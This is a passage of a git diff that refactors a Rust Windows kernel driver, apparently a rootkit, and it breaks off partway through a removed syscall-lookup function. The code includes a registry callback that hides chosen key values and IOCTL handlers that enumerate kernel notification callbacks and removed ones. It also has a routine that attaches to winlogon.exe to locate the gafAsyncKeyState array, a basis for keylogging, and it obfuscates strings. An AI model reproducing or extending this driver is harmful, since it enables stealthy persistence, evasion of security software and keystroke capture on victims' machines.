@@ -80,10 +75,7 @@ pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: St
|
|||||||
},
|
},
|
||||||
KeyValueFullInformationAlign64 => {
|
KeyValueFullInformationAlign64 => {
|
||||||
let value = (*info_class).KeyValueInformation as *const KEY_VALUE_FULL_INFORMATION;
|
let value = (*info_class).KeyValueInformation as *const KEY_VALUE_FULL_INFORMATION;
|
||||||
let name = from_raw_parts(
|
let name = from_raw_parts((*value).Name.as_ptr(), ((*value).NameLength / size_of::<u16>() as u32) as usize);
|
||||||
(*value).Name.as_ptr(),
|
|
||||||
((*value).NameLength / size_of::<u16>() as u32) as usize,
|
|
||||||
);
|
|
||||||
|
|
||||||
let value = String::from_utf16_lossy(name);
|
let value = String::from_utf16_lossy(name);
|
||||||
if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) {
|
if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) {
|
||||||
@@ -93,10 +85,7 @@ pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: St
|
|||||||
},
|
},
|
||||||
KeyValueFullInformation => {
|
KeyValueFullInformation => {
|
||||||
let value = (*info_class).KeyValueInformation as *const KEY_VALUE_FULL_INFORMATION;
|
let value = (*info_class).KeyValueInformation as *const KEY_VALUE_FULL_INFORMATION;
|
||||||
let name = from_raw_parts(
|
let name = from_raw_parts((*value).Name.as_ptr(), ((*value).NameLength / size_of::<u16>() as u32) as usize,);
|
||||||
(*value).Name.as_ptr(),
|
|
||||||
((*value).NameLength / size_of::<u16>() as u32) as usize,
|
|
||||||
);
|
|
||||||
|
|
||||||
let value = String::from_utf16_lossy(name);
|
let value = String::from_utf16_lossy(name);
|
||||||
if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) {
|
if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) {
|
||||||
|
|||||||
@@ -42,6 +42,7 @@ impl Thread {
|
|||||||
/// # Returns
|
/// # Returns
|
||||||
/// - `Option<Self>`: Returns `Some(Self)` if the process lookup is successful, otherwise `None`.
|
/// - `Option<Self>`: Returns `Some(Self)` if the process lookup is successful, otherwise `None`.
|
||||||
///
|
///
|
||||||
|
#[inline]
|
||||||
pub fn new(tid: usize) -> Option<Self> {
|
pub fn new(tid: usize) -> Option<Self> {
|
||||||
let mut thread = core::ptr::null_mut();
|
let mut thread = core::ptr::null_mut();
|
||||||
|
|
||||||
|
|||||||
139
driver/src/utils/address.rs
Normal file
139
driver/src/utils/address.rs
Normal file
@@ -0,0 +1,139 @@
|
|||||||
|
use {
|
||||||
|
obfstr::obfstr,
|
||||||
|
ntapi::ntzwapi::ZwQuerySystemInformation,
|
||||||
|
super::{get_process_by_name, pool::PoolMemory},
|
||||||
|
crate::{process::Process, utils::SystemModuleInformation},
|
||||||
|
core::{ffi::{c_void, CStr}, ptr::null_mut, slice::from_raw_parts},
|
||||||
|
wdk_sys::{
|
||||||
|
ntddk::{
|
||||||
|
KeStackAttachProcess,
|
||||||
|
KeUnstackDetachProcess
|
||||||
|
},
|
||||||
|
KAPC_STATE, NT_SUCCESS, POOL_FLAG_NON_PAGED,
|
||||||
|
},
|
||||||
|
winapi::um::winnt::{RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64}
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Gets the base address of a specified module.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `module_name`: A string slice containing the name of the module.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `Option<*mut c_void>`: An optional pointer to the base address of the module, or None if the module is not found.
|
||||||
|
///
|
||||||
|
pub unsafe fn get_module_base_address(module_name: &str) -> Option<*mut c_void> {
|
||||||
|
let mut return_bytes = 0;
|
||||||
|
ZwQuerySystemInformation(SystemModuleInformation, null_mut(), 0, &mut return_bytes);
|
||||||
|
|
||||||
|
let info_module = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"dsdx"))
|
||||||
|
.map(|mem| mem.ptr as *mut SystemModuleInformation)
|
||||||
|
.or_else(|| {
|
||||||
|
log::error!("PoolMemory (SystemModuleInformation) Failed");
|
||||||
|
None
|
||||||
|
})?;
|
||||||
|
|
||||||
|
RtlZeroMemory(info_module as *mut winapi::ctypes::c_void, return_bytes as usize);
|
||||||
|
|
||||||
|
let status = ZwQuerySystemInformation(
|
||||||
|
SystemModuleInformation,
|
||||||
|
info_module as *mut winapi::ctypes::c_void,
|
||||||
|
return_bytes,
|
||||||
|
&mut return_bytes
|
||||||
|
);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
log::error!("ZwQuerySystemInformation [2] Failed With Status: {status}");
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
let module_count = (*info_module).modules_count;
|
||||||
|
|
||||||
|
for i in 0..module_count as usize {
|
||||||
|
let name = (*info_module).modules[i].image_name;
|
||||||
|
let module_base = (*info_module).modules[i].image_base as *mut c_void;
|
||||||
|
if let Ok(name_str) = core::str::from_utf8(&name) {
|
||||||
|
if name_str.contains(module_name) {
|
||||||
|
return Some(module_base);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
None
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Gets the address of a specified function within a module.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `function_name`: A string slice containing the name of the function.
|
||||||
|
/// - `dll_base`: A pointer to the base address of the DLL.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found.
|
||||||
|
///
|
||||||
|
pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -> Option<*mut c_void> {
|
||||||
|
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
|
||||||
|
let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
||||||
|
|
||||||
|
let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||||
|
let names = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _);
|
||||||
|
let functions = from_raw_parts((dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _);
|
||||||
|
let ordinals = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,(*export_directory).NumberOfNames as _);
|
||||||
|
|
||||||
|
for i in 0..(*export_directory).NumberOfNames as isize {
|
||||||
|
let name = CStr::from_ptr((dll_base as usize + names[i as usize] as usize) as *const i8).to_str().ok()?;
|
||||||
|
let ordinal = ordinals[i as usize] as usize;
|
||||||
|
let address = (dll_base as usize + functions[ordinal] as usize) as *mut c_void;
|
||||||
|
if name == function_name {
|
||||||
|
return Some(address);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
None
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Get the address of the `gafAsyncKeyState` array within a module in the context of a target process.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `name`: A string slice containing the name `gafAsyncKeyState`.
|
||||||
|
/// - `dll_base`: A pointer to the base address of the DLL.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found.
|
||||||
|
///
|
||||||
|
pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<*mut c_void> {
|
||||||
|
let mut apc_state: KAPC_STATE = core::mem::zeroed();
|
||||||
|
let pid = match get_process_by_name(obfstr!("winlogon.exe")) {
|
||||||
|
Some(p) => p,
|
||||||
|
None => return None
|
||||||
|
};
|
||||||
|
|
||||||
|
let target = match Process::new(pid) {
|
||||||
|
Some(p) => p,
|
||||||
|
None => return None
|
||||||
|
};
|
||||||
|
|
||||||
|
KeStackAttachProcess(target.e_process, &mut apc_state);
|
||||||
|
|
||||||
|
let dll_base = dll_base as usize;
|
||||||
|
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
|
||||||
|
let nt_header = (dll_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
||||||
|
|
||||||
|
let export_directory = (dll_base + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||||
|
let names = from_raw_parts((dll_base + (*export_directory).AddressOfNames as usize) as *const u32,(*export_directory).NumberOfNames as _);
|
||||||
|
let functions = from_raw_parts((dll_base + (*export_directory).AddressOfFunctions as usize) as *const u32,(*export_directory).NumberOfFunctions as _);
|
||||||
|
let ordinals = from_raw_parts((dll_base + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
|
||||||
|
|
||||||
|
for i in 0..(*export_directory).NumberOfNames as isize {
|
||||||
|
let name_module = CStr::from_ptr((dll_base + names[i as usize] as usize) as *const i8).to_str().ok()?;
|
||||||
|
let ordinal = ordinals[i as usize] as usize;
|
||||||
|
let address = (dll_base + functions[ordinal] as usize) as *mut c_void;
|
||||||
|
if name_module == name {
|
||||||
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
|
return Some(address);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
|
|
||||||
|
None
|
||||||
|
}
|
||||||
28
driver/src/utils/handles.rs
Normal file
28
driver/src/utils/handles.rs
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
use wdk_sys::{ntddk::ZwClose, HANDLE};
|
||||||
|
|
||||||
|
pub struct Handle(HANDLE);
|
||||||
|
|
||||||
|
impl Handle {
|
||||||
|
/// Create new instance `Handle`.
|
||||||
|
#[inline]
|
||||||
|
pub fn new(handle: HANDLE) -> Self {
|
||||||
|
Handle(handle)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Return handle.
|
||||||
|
#[inline]
|
||||||
|
pub fn get(&self) -> HANDLE {
|
||||||
|
self.0
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Drop for Handle {
|
||||||
|
#[inline]
|
||||||
|
fn drop(&mut self) {
|
||||||
|
if !self.0.is_null() {
|
||||||
|
unsafe {
|
||||||
|
ZwClose(self.0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -18,8 +18,12 @@ use {
|
|||||||
pub type IoctlHandler = Box<dyn Fn(*mut IRP, *mut IO_STACK_LOCATION) -> NTSTATUS + Send + Sync>;
|
pub type IoctlHandler = Box<dyn Fn(*mut IRP, *mut IO_STACK_LOCATION) -> NTSTATUS + Send + Sync>;
|
||||||
|
|
||||||
lazy_static! {
|
lazy_static! {
|
||||||
pub static ref IOCTL_MAP: HashMap<u32, IoctlHandler> = {
|
pub static ref IOCTL_MAP: HashMap<u32, IoctlHandler> = load_ioctls();
|
||||||
|
}
|
||||||
|
|
||||||
|
fn load_ioctls() -> HashMap<u32, IoctlHandler> {
|
||||||
let mut ioctls = HashMap::new();
|
let mut ioctls = HashMap::new();
|
||||||
|
|
||||||
get_process_ioctls(&mut ioctls);
|
get_process_ioctls(&mut ioctls);
|
||||||
get_thread_ioctls(&mut ioctls);
|
get_thread_ioctls(&mut ioctls);
|
||||||
get_driver_ioctls(&mut ioctls);
|
get_driver_ioctls(&mut ioctls);
|
||||||
@@ -33,5 +37,4 @@ lazy_static! {
|
|||||||
}
|
}
|
||||||
|
|
||||||
ioctls
|
ioctls
|
||||||
};
|
|
||||||
}
|
}
|
||||||
@@ -166,6 +166,7 @@ macro_rules! handle_callback {
|
|||||||
($irp:expr, $stack:expr, $input_type:ty, $output_type:ty, $information:expr, $ioctl:expr) => {{
|
($irp:expr, $stack:expr, $input_type:ty, $output_type:ty, $information:expr, $ioctl:expr) => {{
|
||||||
use shared::vars::Callbacks;
|
use shared::vars::Callbacks;
|
||||||
use crate::callbacks::{Callback, CallbackRegistry, CallbackOb, CallbackList};
|
use crate::callbacks::{Callback, CallbackRegistry, CallbackOb, CallbackList};
|
||||||
|
use wdk_sys::STATUS_UNSUCCESSFUL;
|
||||||
|
|
||||||
let input_buffer = match crate::utils::get_input_buffer::<$input_type>($stack) {
|
let input_buffer = match crate::utils::get_input_buffer::<$input_type>($stack) {
|
||||||
Ok(buffer) => buffer,
|
Ok(buffer) => buffer,
|
||||||
@@ -177,30 +178,25 @@ macro_rules! handle_callback {
|
|||||||
Err(status) => return status,
|
Err(status) => return status,
|
||||||
};
|
};
|
||||||
|
|
||||||
let mut status = 0;
|
let status = match $ioctl {
|
||||||
match $ioctl {
|
IOCTL_ENUMERATE_CALLBACK => match (*input_buffer).callback {
|
||||||
IOCTL_ENUMERATE_CALLBACK => {
|
|
||||||
status = match (*input_buffer).callback {
|
|
||||||
Callbacks::PsSetCreateProcessNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information),
|
Callbacks::PsSetCreateProcessNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information),
|
||||||
Callbacks::PsSetCreateThreadNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information),
|
Callbacks::PsSetCreateThreadNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information),
|
||||||
Callbacks::PsSetLoadImageNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information),
|
Callbacks::PsSetLoadImageNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information),
|
||||||
Callbacks::CmRegisterCallbackEx => CallbackRegistry::enumerate_callback(input_buffer, output_buffer, $information),
|
Callbacks::CmRegisterCallbackEx => CallbackRegistry::enumerate_callback(input_buffer, output_buffer, $information),
|
||||||
Callbacks::ObProcess => CallbackOb::enumerate_callback(input_buffer, output_buffer, $information),
|
Callbacks::ObProcess => CallbackOb::enumerate_callback(input_buffer, output_buffer, $information),
|
||||||
Callbacks::ObThread => CallbackOb::enumerate_callback(input_buffer, output_buffer, $information),
|
Callbacks::ObThread => CallbackOb::enumerate_callback(input_buffer, output_buffer, $information),
|
||||||
};
|
|
||||||
},
|
},
|
||||||
IOCTL_ENUMERATE_REMOVED_CALLBACK => {
|
IOCTL_ENUMERATE_REMOVED_CALLBACK => match (*input_buffer).callback {
|
||||||
status = match (*input_buffer).callback {
|
|
||||||
Callbacks::PsSetCreateProcessNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information),
|
Callbacks::PsSetCreateProcessNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information),
|
||||||
Callbacks::PsSetCreateThreadNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information),
|
Callbacks::PsSetCreateThreadNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information),
|
||||||
Callbacks::PsSetLoadImageNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information),
|
Callbacks::PsSetLoadImageNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information),
|
||||||
Callbacks::CmRegisterCallbackEx => CallbackRegistry::enumerate_removed_callback(input_buffer, output_buffer, $information),
|
Callbacks::CmRegisterCallbackEx => CallbackRegistry::enumerate_removed_callback(input_buffer, output_buffer, $information),
|
||||||
Callbacks::ObProcess => CallbackOb::enumerate_removed_callback(input_buffer, output_buffer, $information),
|
Callbacks::ObProcess => CallbackOb::enumerate_removed_callback(input_buffer, output_buffer, $information),
|
||||||
Callbacks::ObThread => CallbackOb::enumerate_removed_callback(input_buffer, output_buffer, $information),
|
Callbacks::ObThread => CallbackOb::enumerate_removed_callback(input_buffer, output_buffer, $information),
|
||||||
};
|
|
||||||
},
|
},
|
||||||
_ => {}
|
_ => Err(STATUS_UNSUCCESSFUL)
|
||||||
}
|
};
|
||||||
|
|
||||||
status
|
status
|
||||||
}};
|
}};
|
||||||
|
|||||||
@@ -1,13 +1,14 @@
|
|||||||
use {
|
use {
|
||||||
crate::{
|
obfstr::obfstr,
|
||||||
includes::{structs::SystemModuleInformation, PsGetProcessPeb}, process::Process
|
handles::Handle,
|
||||||
},
|
pool::PoolMemory,
|
||||||
alloc::{string::String, vec::Vec, vec},
|
winapi::um::winnt::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,IMAGE_NT_HEADERS64},
|
||||||
|
crate::{includes::{structs::SystemModuleInformation, PsGetProcessPeb}, process::Process},
|
||||||
|
alloc::{string::String, vec::Vec},
|
||||||
core::{
|
core::{
|
||||||
ffi::{c_void, CStr},
|
ffi::{c_void, CStr},
|
||||||
fmt::Write,
|
|
||||||
mem::{size_of, zeroed},
|
mem::{size_of, zeroed},
|
||||||
ptr::{null_mut, read, read_unaligned},
|
ptr::{null_mut, read_unaligned},
|
||||||
slice::from_raw_parts
|
slice::from_raw_parts
|
||||||
},
|
},
|
||||||
ntapi::{
|
ntapi::{
|
||||||
@@ -18,14 +19,8 @@ use {
|
|||||||
ntpebteb::PEB,
|
ntpebteb::PEB,
|
||||||
ntzwapi::ZwQuerySystemInformation
|
ntzwapi::ZwQuerySystemInformation
|
||||||
},
|
},
|
||||||
obfstr::obfstr,
|
|
||||||
wdk_sys::{
|
wdk_sys::{
|
||||||
ntddk::*, _FILE_INFORMATION_CLASS::FileStandardInformation, _SECTION_INHERIT::ViewUnmap,
|
ntddk::*, _FILE_INFORMATION_CLASS::FileStandardInformation, *
|
||||||
_POOL_TYPE::NonPagedPool, *
|
|
||||||
},
|
|
||||||
winapi::um::winnt::{
|
|
||||||
RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,
|
|
||||||
IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER
|
|
||||||
},
|
},
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -43,6 +38,10 @@ pub mod macros;
|
|||||||
pub mod offsets;
|
pub mod offsets;
|
||||||
pub mod uni;
|
pub mod uni;
|
||||||
pub mod ioctls;
|
pub mod ioctls;
|
||||||
|
pub mod patterns;
|
||||||
|
pub mod address;
|
||||||
|
pub mod handles;
|
||||||
|
pub mod pool;
|
||||||
|
|
||||||
/// Retrieves the input buffer from the given IO stack location.
|
/// Retrieves the input buffer from the given IO stack location.
|
||||||
///
|
///
|
||||||
@@ -80,131 +79,6 @@ pub unsafe fn get_output_buffer<T>(irp: *mut IRP) -> Result<*mut T, NTSTATUS> {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Gets the base address of a specified module.
|
|
||||||
///
|
|
||||||
/// # Parameters
|
|
||||||
/// - `module_name`: A string slice containing the name of the module.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
/// - `Option<*mut c_void>`: An optional pointer to the base address of the module, or None if the module is not found.
|
|
||||||
///
|
|
||||||
pub unsafe fn get_module_base_address(module_name: &str) -> Option<*mut c_void> {
|
|
||||||
let mut return_bytes = 0;
|
|
||||||
ZwQuerySystemInformation(SystemModuleInformation, null_mut(), 0, &mut return_bytes);
|
|
||||||
|
|
||||||
let info_module = ExAllocatePool(NonPagedPool, return_bytes as u64) as *mut SystemModuleInformation;
|
|
||||||
if info_module.is_null() {
|
|
||||||
log::error!("ExAllocatePool Failed");
|
|
||||||
return None;
|
|
||||||
}
|
|
||||||
|
|
||||||
RtlZeroMemory(info_module as *mut winapi::ctypes::c_void, return_bytes as usize);
|
|
||||||
|
|
||||||
let status = ZwQuerySystemInformation(
|
|
||||||
SystemModuleInformation,
|
|
||||||
info_module as *mut winapi::ctypes::c_void,
|
|
||||||
return_bytes,
|
|
||||||
&mut return_bytes
|
|
||||||
);
|
|
||||||
if !NT_SUCCESS(status) {
|
|
||||||
log::error!("ZwQuerySystemInformation [2] Failed With Status: {status}");
|
|
||||||
ExFreePool(info_module as _);
|
|
||||||
return None;
|
|
||||||
}
|
|
||||||
|
|
||||||
let module_count = (*info_module).modules_count;
|
|
||||||
|
|
||||||
for i in 0..module_count as usize {
|
|
||||||
let name = (*info_module).modules[i].image_name;
|
|
||||||
let module_base = (*info_module).modules[i].image_base as *mut c_void;
|
|
||||||
if let Ok(name_str) = core::str::from_utf8(&name) {
|
|
||||||
if name_str.contains(module_name) {
|
|
||||||
return Some(module_base);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
ExFreePool(info_module as _);
|
|
||||||
None
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Gets the address of a specified function within a module.
|
|
||||||
///
|
|
||||||
/// # Parameters
|
|
||||||
/// - `function_name`: A string slice containing the name of the function.
|
|
||||||
/// - `dll_base`: A pointer to the base address of the DLL.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
/// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found.
|
|
||||||
///
|
|
||||||
pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -> Option<*mut c_void> {
|
|
||||||
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
|
|
||||||
let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
|
||||||
|
|
||||||
let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
|
||||||
let names = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _);
|
|
||||||
let functions = from_raw_parts((dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _);
|
|
||||||
let ordinals = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,(*export_directory).NumberOfNames as _);
|
|
||||||
|
|
||||||
for i in 0..(*export_directory).NumberOfNames as isize {
|
|
||||||
let name = CStr::from_ptr((dll_base as usize + names[i as usize] as usize) as *const i8).to_str().ok()?;
|
|
||||||
let ordinal = ordinals[i as usize] as usize;
|
|
||||||
let address = (dll_base as usize + functions[ordinal] as usize) as *mut c_void;
|
|
||||||
if name == function_name {
|
|
||||||
return Some(address);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
None
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Get the address of the `gafAsyncKeyState` array within a module in the context of a target process.
|
|
||||||
///
|
|
||||||
/// # Parameters
|
|
||||||
/// - `name`: A string slice containing the name `gafAsyncKeyState`.
|
|
||||||
/// - `dll_base`: A pointer to the base address of the DLL.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
/// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found.
|
|
||||||
///
|
|
||||||
pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<*mut c_void> {
|
|
||||||
let mut apc_state: KAPC_STATE = core::mem::zeroed();
|
|
||||||
let pid = match get_process_by_name(obfstr!("winlogon.exe")) {
|
|
||||||
Some(p) => p,
|
|
||||||
None => return None
|
|
||||||
};
|
|
||||||
|
|
||||||
let target = match Process::new(pid) {
|
|
||||||
Some(p) => p,
|
|
||||||
None => return None
|
|
||||||
};
|
|
||||||
|
|
||||||
KeStackAttachProcess(target.e_process, &mut apc_state);
|
|
||||||
|
|
||||||
let dll_base = dll_base as usize;
|
|
||||||
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
|
|
||||||
let nt_header = (dll_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
|
||||||
|
|
||||||
let export_directory = (dll_base + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
|
||||||
let names = from_raw_parts((dll_base + (*export_directory).AddressOfNames as usize) as *const u32,(*export_directory).NumberOfNames as _);
|
|
||||||
let functions = from_raw_parts((dll_base + (*export_directory).AddressOfFunctions as usize) as *const u32,(*export_directory).NumberOfFunctions as _);
|
|
||||||
let ordinals = from_raw_parts((dll_base + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
|
|
||||||
|
|
||||||
for i in 0..(*export_directory).NumberOfNames as isize {
|
|
||||||
let name_module = CStr::from_ptr((dll_base + names[i as usize] as usize) as *const i8).to_str().ok()?;
|
|
||||||
let ordinal = ordinals[i as usize] as usize;
|
|
||||||
let address = (dll_base + functions[ordinal] as usize) as *mut c_void;
|
|
||||||
if name_module == name {
|
|
||||||
KeUnstackDetachProcess(&mut apc_state);
|
|
||||||
return Some(address);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
KeUnstackDetachProcess(&mut apc_state);
|
|
||||||
|
|
||||||
None
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Retrieves the PID of a process by its name.
|
/// Retrieves the PID of a process by its name.
|
||||||
///
|
///
|
||||||
/// # Parameters
|
/// # Parameters
|
||||||
@@ -216,11 +90,12 @@ pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<
|
|||||||
pub unsafe fn get_process_by_name(process_name: &str) -> Option<usize> {
|
pub unsafe fn get_process_by_name(process_name: &str) -> Option<usize> {
|
||||||
let mut return_bytes = 0;
|
let mut return_bytes = 0;
|
||||||
ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes);
|
ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes);
|
||||||
let info_process = ExAllocatePool(NonPagedPool, return_bytes as u64) as PSYSTEM_PROCESS_INFORMATION;
|
let info_process = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"diws"))
|
||||||
if info_process.is_null() {
|
.map(|mem| mem.ptr as PSYSTEM_PROCESS_INFORMATION)
|
||||||
log::error!("ExAllocatePool Failed");
|
.or_else(|| {
|
||||||
return None;
|
log::error!("PoolMemory (Process By Name) Failed");
|
||||||
}
|
None
|
||||||
|
})?;
|
||||||
|
|
||||||
let status = ZwQuerySystemInformation(
|
let status = ZwQuerySystemInformation(
|
||||||
SystemProcessInformation,
|
SystemProcessInformation,
|
||||||
@@ -241,7 +116,6 @@ pub unsafe fn get_process_by_name(process_name: &str) -> Option<usize> {
|
|||||||
let name = String::from_utf16_lossy(image_name);
|
let name = String::from_utf16_lossy(image_name);
|
||||||
if name == process_name {
|
if name == process_name {
|
||||||
let pid = (*process_info).UniqueProcessId as usize;
|
let pid = (*process_info).UniqueProcessId as usize;
|
||||||
ExFreePool(info_process as *mut _);
|
|
||||||
return Some(pid);
|
return Some(pid);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -253,88 +127,9 @@ pub unsafe fn get_process_by_name(process_name: &str) -> Option<usize> {
|
|||||||
process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize) as PSYSTEM_PROCESS_INFORMATION;
|
process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize) as PSYSTEM_PROCESS_INFORMATION;
|
||||||
}
|
}
|
||||||
|
|
||||||
ExFreePool(info_process as _);
|
|
||||||
None
|
None
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Retrieves the syscall index for a given function name.
|
|
||||||
///
|
|
||||||
/// # Parameters
|
|
||||||
/// - `function_name`: The name of the function to retrieve the syscall index for.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
/// - `Option<u16>`: The syscall index if found, or `None` if an error occurs or the function is not found.
|
|
||||||
///
|
|
||||||
pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {
|
|
||||||
let mut section_handle = null_mut();
|
|
||||||
let dll = crate::utils::uni::str_to_unicode("\\KnownDlls\\ntdll.dll");
|
|
||||||
let mut obj_attr = InitializeObjectAttributes(Some(&mut dll.to_unicode()), OBJ_CASE_INSENSITIVE, None, None, None);
|
|
||||||
let mut status = ZwOpenSection(&mut section_handle, SECTION_MAP_READ | SECTION_QUERY, &mut obj_attr);
|
|
||||||
if !NT_SUCCESS(status) {
|
|
||||||
log::error!("ZwOpenSection Failed With Status: {status}");
|
|
||||||
return None
|
|
||||||
}
|
|
||||||
|
|
||||||
let mut large: LARGE_INTEGER = zeroed();
|
|
||||||
let mut ntdll_addr = null_mut();
|
|
||||||
let mut view_size = 0;
|
|
||||||
status = ZwMapViewOfSection(
|
|
||||||
section_handle,
|
|
||||||
0xFFFFFFFFFFFFFFFF as *mut core::ffi::c_void,
|
|
||||||
&mut ntdll_addr,
|
|
||||||
0,
|
|
||||||
0,
|
|
||||||
&mut large,
|
|
||||||
&mut view_size,
|
|
||||||
ViewUnmap,
|
|
||||||
0,
|
|
||||||
PAGE_READONLY,
|
|
||||||
);
|
|
||||||
if !NT_SUCCESS(status) {
|
|
||||||
log::error!("ZwMapViewOfSection Failed With Status: {status}");
|
|
||||||
ZwClose(section_handle);
|
|
||||||
return None
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
let dos_header = ntdll_addr as *const IMAGE_DOS_HEADER;
|
|
||||||
let nt_header = (ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
|
|
||||||
|
|
||||||
let ntdll_addr = ntdll_addr as usize;
|
|
||||||
let export_directory = (ntdll_addr + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
|
||||||
let names = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _,);
|
|
||||||
